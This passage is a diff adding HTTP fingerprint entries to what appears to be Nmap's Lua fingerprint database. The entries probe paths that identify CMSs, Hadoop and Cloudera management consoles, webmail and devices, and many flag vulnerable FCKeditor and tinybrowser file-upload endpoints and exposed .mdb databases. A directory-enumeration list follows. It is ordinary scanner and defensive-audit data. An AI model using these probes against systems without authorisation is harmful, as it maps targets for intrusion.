+ match = '',
+ output = 'Quicktech'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/dsp_page.cfm',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Alcassofts SOPHIA CMS'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/zikula/index.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Zikula CMS'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/system/admin/header.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/system/admin/comments_items.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Habari Blog'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/scripts/fckeditor/editor/filemanager/connectors/test.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/scripts/fckeditor/editor/filemanager/connectors/uploadtest.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Digitalus CMS/FCKEditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/fckeditor/editor/filemanager/connectors/test.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'phpmotion/FCKeditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/fckeditor/editor/filemanager/upload/test.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Geeklog/FCKeditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'OpenCart/FCKeditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/fckeditor/editor/filemanager/connectors/php/config.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'DM File Manager/FCKeditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/includes/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/includes/FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/includes/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/includes/FCKeditor/editor/filemanager/browser/default/connectors/cfm/connector.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/includes/FCKeditor/editor/filemanager/browser/default/connectors/lasso/connector.lasso',
+ method = 'HEAD'
+ },
+ {
+ path = '/includes/FCKeditor/editor/filemanager/browser/default/connectors/perl/connector.cgi',
+ method = 'HEAD'
+ },
+ {
+ path = '/includes/FCKeditor/editor/filemanager/browser/default/connectors/py/connector.py',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'PHPnuke/Remote File Download'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/FCKEditor/editor/filemanager/browser/default/connectors/test.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'EgO or osCMax/FCKeditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/admin/includes/tiny_mce/plugins/tinybrowser/upload.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'CompactCMS or B-Hind CMS/FCKeditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/Backstage/Components/FreeTextBox/ftb.imagegallery.aspx',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Luftguitar CMS/File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/_plugin/fckeditor/editor/filemanager/connectors/test.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'SweetRice/FCKeditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/html/news_fckeditor/editor/filemanager/upload/php/upload.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'cardinalCms/FCKeditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/fckeditor/editor/filemanager/connectors/test.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'LightNEasy/FCKeditor File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/admin/includes/FCKeditor/editor/filemanager/upload/test.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'ASP Simple Blog / FCKeditor File Upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/uploadsnaps.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'ZeeMatri/File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/upload/includes/js/files/upload.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Digital College/File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/tinybrowser/upload.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Tinybrowser Remote File Upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/editor/editor/filemanager/upload/test.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Tadbir / File Upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/photogallery_open.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Heaven Soft CMS'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'DotNetNuke / File Upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/assetmanager/assetmanager.asp',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Asset Manager/Remote File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/Final/login/ava_upl.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/Final/login/ava_upl2.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'CH-CMS'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/spaw/demo.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'SpawCMS/Remote File upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/admin/jscript/upload.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/jscript/upload.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/jscript/upload.pl',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/jscript/upload.asp',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Lizard Cart/Remote File upload'
+ }
+ }
+ });
+
+-- Apache Ambari Web UI
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<title>Ambari</title>',
+ output = 'Apache Ambari WebUI'
+ }
+ }
+ });
+
+-- Apache Oozie Web Console
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/oozie/',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<title>Oozie Web Console</title>',
+ output = 'Apache Oozie Web Console'
+ }
+ }
+ });
+
+-- Apache Ranger Web UI
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/login.jsp',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<title>%s*Ranger %- Sign In%s*</title>',
+ output = 'Apache Ranger WebUI'
+ }
+ }
+ });
+
+-- Cloudera Hue
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/about/',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = 'Hue&trade;%s(.-)%s[-]%s<a href="http://gethue%.com"',
+ output = 'Cloudera Hue \\1'
+ }
+ }
+ });
+
+-- Cloudera Manager login page
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/cmf/login',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = 'var%s+clouderaManager%s*=%s*{.-version:%s*\'(.-)\'',
+ output = 'Cloudera Manager version \\1 '
+ }
+ }
+ });
+
+-- Hadoop MapReduce JobHistory WebUI
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/jobhistory',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<title>%s*JobHistory%s*</title>',
+ output = 'Hadoop MapReduce JobHistory WebUI'
+ }
+ }
+ });
+
+-- Hadoop YARN Resource Manager
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/cluster/cluster',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = 'ResourceManager state:.-<td>%s*([^%s<]*)'
+ .. '.-ResourceManager version:.-<td>%s*([^%s<]*)'
+ .. '.-Hadoop version:.-<td>%s*([^%s<]*)',
+ output = 'Hadoop YARN Resource Manager version \\2, state "\\1", Hadoop version \\3'
+ },
+ }
+ });
+
+-- Hadoop Node Resource Manager
+table.insert(fingerprints, {
+ category = 'info',
+ probes = {
+ {
+ path = '/node',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = 'Node Manager Version:.-<td>%s*([^%s<]*)'
+ .. '.-Hadoop Version:.-<td>%s*([^%s<]*)',
+ output = 'Hadoop YARN Node Manager version \\1, Hadoop version \\2'
+ },
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/databases/acidcat_3.mdb',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Acidcat CMS Database'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/mdb-database/dblog.mdb',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'dBlog Database'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/db/users.mdb',
+ method = 'HEAD'
+ },
+ {
+ path = '/db/'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'BlogWorx Database'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/infusions/avatar_studio/avatar_studio.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'PHP-Fusion Mod avatar_studio'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/bnnr.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/vb/bnnr.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/forum/bnnr.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'vBulletin ads_saed'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/weblink_cat_list.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'WHMCompleteSolution CMS'
+ }
+ }
+ });
+
+-- Drupal signatures
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = ' src="/sites/all/themes/',
+ output = 'Drupal signature'
+ },
+ {
+ match = ' src="/sites/all/modules/',
+ output = 'Drupal signature'
+ },
+ {
+ match = ' href="/sites/all/themes/',
+ output = 'Drupal signature'
+ },
+ {
+ match = 'jQuery.extend(Drupal.settings,',
+ output = 'Drupal signature'
+ }
+ }
+ });
+
+-- Drupal files
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/UPGRADE.txt'
+ },
+ {
+ path = '/INSTALL.txt'
+ },
+ {
+ path = '/MAINTENERS.txt'
+ },
+ {
+ path = '/INSTALL.mysql.txt'
+ },
+ {
+ path = '/INSTALL.pgsql.txt'
+ },
+ {
+ path = '/update.php'
+ }
+ },
+ matches = {
+ {
+ match = 'Drupal ',
+ output = 'Drupal file'
+ }
+ }
+ });
+
+-- Joomla versions
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ -- Detects versions >= 1.60
+ path = '/administrator/manifests/files/joomla.xml',
+ method = 'GET'
+ },
+ {
+ -- Detects version >= 1.50 and <= 1.5.26
+ path = '/language/en-GB/en-GB.xml',
+ method = 'GET'
+ },
+ {
+ -- Detects version < 1.50
+ path = '/modules/custom.xml',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<version>(.-)</version>',
+ output = 'Joomla version \\1'
+ }
+ }
+ });
+
+-- Joomla!
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/htaccess.txt'
+ },
+ {
+ path = '/templates/system/css/toolbar.css'
+ },
+ {
+ path = '/templates/beez/css/template_rtl.css'
+ }
+ },
+ matches = {
+ {
+ match = 'Joomla!',
+ output = 'Joomla!'
+ }
+ }
+ });
+
+-- Drupal changelog
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/CHANGELOG.txt'
+ }
+ },
+ matches = {
+ {
+ match = 'Drupal (%d..-),',
+ output = 'Drupal v1'
+ }
+ }
+ });
+
+-- Drupal version
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ -- Must be executed on both ports 80, 443 for accurate results
+ path = '/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<meta name="[G|g]enerator" content="Drupal ([0-9 .]*)',
+ output = 'Drupal version \\1'
+ }
+ }
+});
+
+-- Moodle
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/pix/moodlelogo.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/environment.xml',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Moodle files'
+ }
+ }
+ });
+
+-- typo3
+table.insert(fingerprints, {
+ category = 'cms',
+ probes = {
+ {
+ path = '/typo3/index.php',
+ method = 'GET'
+ },
+ {
+ path = '/typo3/README.txt',
+ method = 'GET'
+ },
+ {
+ path = '/t3lib/README.txt',
+ method = 'GET'
+ },
+ {
+ path = '/typo3/sysext/t3skin/images/login/typo3logo-white-greyback.gif',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = 'Login to the TYPO3',
+ output = 'Typo3 login page'
+ },
+ {
+ match = 'TYPO3 Backend Administration',
+ output = 'Typo3 readme file'
+ },
+ {
+ match = 'TYPO3 Library',
+ output = 'Typo3 Library readme'
+ },
+ {
+ match = '',
+ output = 'Typo3 Installation'
+ },
+ }
+ });
+
+------------------------------------------------
+---- MAIL ----
+------------------------------------------------
+
+-- SquirrelMail
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/squirrelmail/src/login.php', -- Might return login page with version info
+ method = 'GET'
+ },
+ {
+ path = '/webmail/src/login.php', -- Might return login page with version info
+ method = 'GET'
+ },
+ {
+ path = '/src/login.php', -- Might return login page with version info
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<small>([^<]*)<br />', -- version extraction (squirrelMail)
+ output = '\\1'
+ },
+ {
+ match = 'squirrelmail',
+ output = 'SquirrelMail'
+ }
+ }
+ });
+
+-- SquirrelMail files
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/squirrelmail/images/sm_logo.png', -- Standard logo file
+ method = 'HEAD'
+ },
+ {
+ path = '/webmail/images/sm_logo.png', -- Standard logo file
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'SquirrelMail'
+ }
+ }
+ });
+
+-- RoundCube
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/',
+ method = 'GET'
+ },
+ {
+ path = '/program/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<title>Index of /program</title>',
+ output = 'RoundCube (Directory listing)'
+ },
+ {
+ match = 'rcube_webmail', -- RoundCube
+ output = 'RoundCube'
+ },
+ }
+ });
+
+-- RoundCube file
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/skins/default/images/roundcube_logo.png', -- Standard logo file
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'RoundCube'
+ }
+ }
+ });
+
+-- Bitwarden Vault
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/manifest.json',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '([\'"])name%1%s*:%s*[\'"][Bb]itwarden',
+ output = 'Bitwarden Vault Manifest File'
+ },
+ {
+ match = '',
+ output = 'Manifest JSON File'
+ },
+ }
+ });
+
+------------------------------------------------
+---- UNCATEGORIZED ----
+------------------------------------------------
+
+table.insert(fingerprints, {
+ category = 'uncategorized',
+ probes = {
+ {
+ path = '/archive/flash:home/html/images/Cisco_logo.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Cisco SDM'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'uncategorized',
+ probes = {
+ {
+ path = '/Default?MAIN=DEVICE',
+ method = 'HEAD'
+ },
+ {
+ path = '/TopAccess/images/RioGrande/Rio_PPC.gif',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'TopAccess Toshiba e-Studio520'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'uncategorized',
+ probes = {
+ {
+ path = '/jwsappmngr.jnlp',
+ method = 'HEAD'
+ },
+ {
+ path = '/nfdesktop.jnlp',
+ method = 'HEAD'
+ },
+ {
+ path = '/nfservlets/servlet/SPSRouterServlet/',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'netForensics'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'uncategorized',
+ probes = {
+ {
+ path = '/na_admin/styles/dfm.css',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'NetworkAppliance NetApp Release 6.5.3P4'
+ }
+ }
+ });
+
+------------------------------------------------
+---- MISCELLANEOUS ITEMS OF INTEREST ----
+------------------------------------------------
+
+-- Moodle files
+table.insert(fingerprints, {
+ category = 'miscellaneous',
+ probes = {
+ {
+ path = '/lib/db/install.xml'
+ },
+ {
+ path = '/lib/thirdpartylibs.xml'
+ },
+ {
+ path = '/local/readme.txt'
+ }
+ },
+ matches = {
+ {
+ match = 'XMLDB file for core Moodle tables',
+ output = 'Moodle db installation file'
+ },
+ {
+ match = '<libraries>',
+ output = 'Moodle thirdpartylibs.xml'
+ },
+ {
+ match = 'This file is part of Moodle',
+ output = 'Moodle local/readme.txt'
+ }
+ }
+ });
+
+-- interesting README files
+table.insert(fingerprints, {
+ category = 'miscellaneous',
+ probes = {
+ {
+ path = '/README'
+ },
+ {
+ path = '/README.txt'
+ },
+ {
+ path = '/xoda/README'
+ },
+ {
+ path = '/docs/README'
+ },
+ {
+ path = '/documents/README'
+ },
+ {
+ path = '/dms/README'
+ },
+ {
+ path = '/status/README'
+ },
+ {
+ path = '/statusnet/README'
+ },
+ {
+ path = '/twitter/README'
+ },
+ },
+ matches = {
+ {
+ match = 'StatusNet (.-) ',
+ output = 'StatusNet README version \\1'
+ },
+ {
+ match = 'XODA.*Changelog%s---------%s(%d.-):',
+ output = 'XODA \\1'
+ },
+ {
+ output = 'Interesting, a readme.'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'miscellaneous',
+ probes = {
+ {
+ path = '/0/',
+ method = 'GET'
+ },
+ {
+ path = '/1/',
+ method = 'GET'
+ },
+ {
+ path = '/2/',
+ method = 'GET'
+ },
+ {
+ path = '/3/',
+ method = 'GET'
+ },
+ {
+ path = '/4/',
+ method = 'GET'
+ },
+ {
+ path = '/5/',
+ method = 'GET'
+ },
+ {
+ path = '/6/',
+ method = 'GET'
+ },
+ {
+ path = '/7/',
+ method = 'GET'
+ },
+ {
+ path = '/8/',
+ method = 'GET'
+ },
+ {
+ path = '/9/',
+ method = 'GET'
+ },
+ {
+ path = '/10/',
+ method = 'GET'
+ },
+ {
+ path = '/a/',
+ method = 'GET'
+ },
+ {
+ path = '/b/',
+ method = 'GET'
+ },
+ {
+ path = '/c/',
+ method = 'GET'
+ },
+ {
+ path = '/d/',
+ method = 'GET'
+ },
+ {
+ path = '/e/',
+ method = 'GET'
+ },
+ {
+ path = '/f/',
+ method = 'GET'
+ },
+ {
+ path = '/g/',
+ method = 'GET'
+ },
+ {
+ path = '/h/',
+ method = 'GET'
+ },
+ {
+ path = '/i/',
+ method = 'GET'
+ },
+ {
+ path = '/j/',
+ method = 'GET'
+ },
+ {
+ path = '/k/',
+ method = 'GET'
+ },
+ {
+ path = '/l/',
+ method = 'GET'
+ },
+ {
+ path = '/m/',
+ method = 'GET'
+ },
+ {
+ path = '/n/',
+ method = 'GET'
+ },
+ {
+ path = '/o/',
+ method = 'GET'
+ },
+ {
+ path = '/p/',
+ method = 'GET'
+ },
+ {
+ path = '/q/',
+ method = 'GET'
+ },
+ {
+ path = '/r/',
+ method = 'GET'
+ },
+ {
+ path = '/s/',
+ method = 'GET'
+ },
+ {
+ path = '/t/',
+ method = 'GET'
+ },
+ {
+ path = '/u/',
+ method = 'GET'
+ },
+ {
+ path = '/v/',
+ method = 'GET'
+ },
+ {
+ path = '/w/',
+ method = 'GET'
+ },
+ {
+ path = '/x/',
+ method = 'GET'
+ },
+ {
+ path = '/y/',
+ method = 'GET'
+ },
+ {
+ path = '/z/',
+ method = 'GET'
+ },
+ {
+ path = '/acceso/',
+ method = 'GET'
+ },
+ {
+ path = '/access/',
+ method = 'GET'
+ },
+ {
+ path = '/accesswatch/',
+ method = 'GET'
+ },
+ {
+ path = '/acciones/',
+ method = 'GET'
+ },
+ {
+ path = '/account/',
+ method = 'GET'
+ },
+ {
+ path = '/accounting/',
+ method = 'GET'
+ },
+ {
+ path = '/active/',
+ method = 'GET'
+ },
+ {
+ path = '/activex/',
+ method = 'GET'
+ },
+ {
+ path = '/admcgi/',
+ method = 'GET'
+ },
+ {
+ path = '/admisapi/',
+ method = 'GET'
+ },
+ {
+ path = '/AdvWebAdmin/',
+ method = 'GET'
+ },
+ {
+ path = '/agentes/',
+ method = 'GET'
+ },
+ {
+ path = '/Agent/',
+ method = 'GET'
+ },
+ {
+ path = '/Agents/',
+ method = 'GET'
+ },
+ {
+ path = '/AlbumArt_/',
+ method = 'GET'
+ },
+ {
+ path = '/AlbumArt/',
+ method = 'GET'
+ },
+ {
+ path = '/Album/',
+ method = 'GET'
+ },
+ {
+ path = '/allow/',
+ method = 'GET'
+ },
+ {
+ path = '/analog/',
+ method = 'GET'
+ },
+ {
+ path = '/anthill/',
+ method = 'GET'
+ },
+ {
+ path = '/apache/',
+ method = 'GET'
+ },
+ {
+ path = '/api/',
+ method = 'GET'
+ },
+ {
+ path = '/api-docs/',
+ method = 'GET'
+ },
+ {
+ path = '/app/',
+ method = 'GET'
+ },
+ {
+ path = '/applets/',
+ method = 'GET'
+ },
+ {
+ path = '/appl/',
+ method = 'GET'
+ },
+ {
+ path = '/application/',
+ method = 'GET'
+ },
+ {
+ path = '/applications/',
+ method = 'GET'
+ },
+ {
+ path = '/applmgr/',
+ method = 'GET'
+ },
+ {
+ path = '/apply/',
+ method = 'GET'
+ },
+ {
+ path = '/appsec/',
+ method = 'GET'
+ },
+ {
+ path = '/apps/',
+ method = 'GET'
+ },
+ {
+ path = '/archive/',
+ method = 'GET'
+ },
+ {
+ path = '/archives/',
+ method = 'GET'
+ },
+ {
+ path = '/ar/',
+ method = 'GET'
+ },
+ {
+ path = '/asa/',
+ method = 'GET'
+ },
+ {
+ path = '/asp/',
+ method = 'GET'
+ },
+ {
+ path = '/atc/',
+ method = 'GET'
+ },
+ {
+ path = '/aut/',
+ method = 'GET'
+ },
+ {
+ path = '/authadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/auth/',
+ method = 'GET'
+ },
+ {
+ path = '/author/',
+ method = 'GET'
+ },
+ {
+ path = '/authors/',
+ method = 'GET'
+ },
+ {
+ path = '/aw/',
+ method = 'GET'
+ },
+ {
+ path = '/ayuda/',
+ method = 'GET'
+ },
+ {
+ path = '/b2-include/',
+ method = 'GET'
+ },
+ {
+ path = '/backend/',
+ method = 'GET'
+ },
+ {
+ path = '/bad/',
+ method = 'GET'
+ },
+ {
+ path = '/banca/',
+ method = 'GET'
+ },
+ {
+ path = '/banco/',
+ method = 'GET'
+ },
+ {
+ path = '/bank/',
+ method = 'GET'
+ },
+ {
+ path = '/banner01/',
+ method = 'GET'
+ },
+ {
+ path = '/banner/',
+ method = 'GET'
+ },
+ {
+ path = '/banners/',
+ method = 'GET'
+ },
+ {
+ path = '/bar/',
+ method = 'GET'
+ },
+ {
+ path = '/batch/',
+ method = 'GET'
+ },
+ {
+ path = '/bb-dnbd/',
+ method = 'GET'
+ },
+ {
+ path = '/bbv/',
+ method = 'GET'
+ },
+ {
+ path = '/bdata/',
+ method = 'GET'
+ },
+ {
+ path = '/bdatos/',
+ method = 'GET'
+ },
+ {
+ path = '/beta/',
+ method = 'GET'
+ },
+ {
+ path = '/billpay/',
+ method = 'GET'
+ },
+ {
+ path = '/bin/',
+ method = 'GET'
+ },
+ {
+ path = '/binaries/',
+ method = 'GET'
+ },
+ {
+ path = '/binary/',
+ method = 'GET'
+ },
+ {
+ path = '/boadmin/',
+ method = 'GET'
+ },
+ {
+ path = '/boot/',
+ method = 'GET'
+ },
+ {
+ path = '/bottom/',
+ method = 'GET'
+ },
+ {
+ path = '/browse/',
+ method = 'GET'
+ },
+ {
+ path = '/browser/',
+ method = 'GET'
+ },
+ {
+ path = '/bsd/',
+ method = 'GET'
+ },
+ {
+ path = '/btauxdir/',
+ method = 'GET'
+ },
+ {
+ path = '/bug/',
+ method = 'GET'
+ },
+ {
+ path = '/bugs/',
+ method = 'GET'
+ },
+ {
+ path = '/bugzilla/',
+ method = 'GET'
+ },
+ {
+ path = '/buy/',
+ method = 'GET'
+ },
+ {
+ path = '/buynow/',
+ method = 'GET'
+ },
+ {
+ path = '/cached/',
+ method = 'GET'
+ },
+ {
+ path = '/cache/',
+ method = 'GET'
+ },
+ {
+ path = '/cache-stats/',
+ method = 'GET'
+ },
+ {
+ path = '/caja/',
+ method = 'GET'
+ },
+ {
+ path = '/card/',
+ method = 'GET'
+ },
+ {
+ path = '/cards/',
+ method = 'GET'
+ },
+ {
+ path = '/cart/',
+ method = 'GET'
+ },
+ {
+ path = '/cash/',
+ method = 'GET'
+ },
+ {
+ path = '/caspsamp/',
+ method = 'GET'
+ },
+ {
+ path = '/catalog/',
+ method = 'GET'
+ },
+ {
+ path = '/cbi-bin/',
+ method = 'GET'
+ },
+ {
+ path = '/ccard/',
+ method = 'GET'
+ },
+ {
+ path = '/ccards/',
+ method = 'GET'
+ },
+ {
+ path = '/cd-cgi/',
+ method = 'GET'
+ },
+ {
+ path = '/cd/',
+ method = 'GET'
+ },
+ {
+ path = '/cdrom/',
+ method = 'GET'
+ },
+ {
+ path = '/ce_html/',
+ method = 'GET'
+ },
+ {
+ path = '/cert/',
+ method = 'GET'
+ },
+ {
+ path = '/certificado/',
+ method = 'GET'
+ },
+ {
+ path = '/certificate/',
+ method = 'GET'
+ },
+ {
+ path = '/cfappman/',
+ method = 'GET'
+ },
+ {
+ path = '/cfdocs/',
+ method = 'GET'
+ },
+ {
+ path = '/cfide/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-914/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-915/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-auth/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-bin2/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-bin/',
+ method = 'GET'
+ },
+ {
+ path = '/cgibin/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi.cgi/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-csc/',
+ method = 'GET'
+ },
+ {
+ path = '/cgi-exe/',
